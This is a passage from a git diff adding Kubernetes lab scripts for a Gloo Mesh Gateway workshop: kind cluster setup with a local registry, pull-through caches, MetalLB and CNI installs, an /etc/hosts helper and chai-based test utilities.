--restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null +./istio-*/bin/istioctl --context cluster1 pc all -n istio-gateways deploy/istio-ingressgateway -o json > /tmp/current-output +json-diff /tmp/previous-output /tmp/current-output diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/scripts/md-to-bash.sh b/gloo-mesh/gateway/2-4/airgap/standalone-portal/scripts/md-to-bash.sh new file mode 100755 index 0000000000..30b6a1f93d --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone-portal/scripts/md-to-bash.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash +echo "source /root/.env 2>/dev/null || true" +sed -n '/```bash/,/```/p; //p' | egrep -v '```|' | sed '/#IGNORE_ME/d' diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/scripts/register-domain.sh b/gloo-mesh/gateway/2-4/airgap/standalone-portal/scripts/register-domain.sh new file mode 100755 index 0000000000..903bd0b714 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone-portal/scripts/register-domain.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash + +# Check if the correct number of arguments is provided +if [ "$#" -ne 2 ]; then + echo "Usage: $0 " + exit 1 +fi + +# Variables +hostname="$1" +new_ip="$2" +hosts_file="/etc/hosts" + +# Check if the entry already exists +if grep -q "$hostname" "$hosts_file"; then + # Update the existing entry with the new IP + tempfile=$(mktemp) + sed "s/^.*$hostname/$new_ip $hostname/" "$hosts_file" > $tempfile + sudo mv "$tempfile" "$hosts_file" + echo "Updated $hostname in $hosts_file with new IP: $new_ip" +else + # Add a new entry if it doesn't exist + echo "$new_ip $hostname" | sudo tee -a "$hosts_file" > /dev/null + echo "Added $hostname to $hosts_file with IP: $new_ip" +fi diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/scripts/snapdiff.sh b/gloo-mesh/gateway/2-4/airgap/standalone-portal/scripts/snapdiff.sh new file mode 100755 index 0000000000..51786826eb --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone-portal/scripts/snapdiff.sh @@ -0,0 +1,6 @@ +mv /tmp/current-output /tmp/previous-output 2>/dev/null +pod=$(kubectl --context ${MGMT} -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${MGMT} -n gloo-mesh debug -q -i ${pod} --image=curlimages/curl -- curl -s http://localhost:9091/snapshots/output | jq '.translator | . as $root | ($root | keys[]) as $namespace | ($root[$namespace] | keys[]) as $parent | if $root[$namespace][$parent].Outputs then (($root[$namespace][$parent].Outputs | keys[]) as $object | ($object | split(",")) as $arr | {apiVersion: $arr[0], kind: ($arr[1] |split("=")[1])} + $root[$namespace][$parent].Outputs[$object][]) else empty end' | jq --slurp > /tmp/current-output +array1=$(cat /tmp/previous-output | jq -e '') +array2=$(cat /tmp/current-output | jq -e '') +jq -n --argjson array1 "$array1" --argjson array2 "$array2" '{"array1": $array1,"array2":$array2} | .array2-.array1' | docker run -i --rm mikefarah/yq -P '.' \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/tests/can-resolve.test.js.liquid b/gloo-mesh/gateway/2-4/airgap/standalone-portal/tests/can-resolve.test.js.liquid new file mode 100644 index 0000000000..7d1163da97 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone-portal/tests/can-resolve.test.js.liquid @@ -0,0 +1,17 @@ +const dns = require('dns'); +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const { waitOnFailedTest } = require('./tests/utils'); + +afterEach(function(done) { waitOnFailedTest(done, this.currentTest.currentRetry())}); + +describe("Address '" + process.env.{{ to_resolve }} + "' can be resolved in DNS", () => { + it(process.env.{{ to_resolve }} + ' can be resolved', (done) => { + return dns.lookup(process.env.{{ to_resolve }}, (err, address, family) => { + expect(address).to.be.an.ip; + done(); + }); + }); +}); \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/tests/chai-exec.js b/gloo-mesh/gateway/2-4/airgap/standalone-portal/tests/chai-exec.js new file mode 100644 index 0000000000..f454d80bbe --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone-portal/tests/chai-exec.js @@ -0,0 +1,110 @@ +const jsYaml = require('js-yaml'); +const deepObjectDiff = require('deep-object-diff'); +const chaiExec = require("@jsdevtools/chai-exec"); +const chai = require("chai"); +const expect = chai.expect; +const should = chai.should(); +chai.use(chaiExec); +const utils = require('./utils'); + +global = { + checkKubernetesObject: async ({ context, namespace, kind, k8sObj, yaml }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + kind + " " + k8sObj + " -o json"; + let cli = chaiExec(command); + let json = jsYaml.load(yaml) + + cli.should.exit.with.code(0); + cli.stderr.should.be.empty; + let data = JSON.parse(cli.stdout); + let diff = deepObjectDiff.detailedDiff(json, data); + let expectedObject = false; + console.log(Object.keys(diff.deleted).length); + if(Object.keys(diff.updated).length === 0 && Object.keys(diff.deleted).length === 0) { + expectedObject = true; + } + expect(expectedObject, "The following object can't be found or is not as expected:\n" + yaml).to.be.true; + }, + checkDeployment: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDeploymentsWithLabels: async ({ context, namespace, labels, instances }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy -l " + labels + " -o jsonpath='{.items}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let deployments = JSON.parse(cli.stdout.slice(1,-1)); + expect(deployments).to.have.lengthOf(instances); + deployments.forEach((deployment) => { + let readyReplicas = deployment.status.readyReplicas || 0; + let replicas = deployment.status.replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + deployment.metadata.name + " in " + context + " not ready..."); + utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }); + }, + checkStatefulSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get sts " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDaemonSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get ds " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).numberReady || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).desiredNumberScheduled; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + k8sObjectIsPresent: ({ context, namespace, k8sType, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + k8sType + " " + k8sObj + " -o name"; + let cli = chaiExec(command); + + 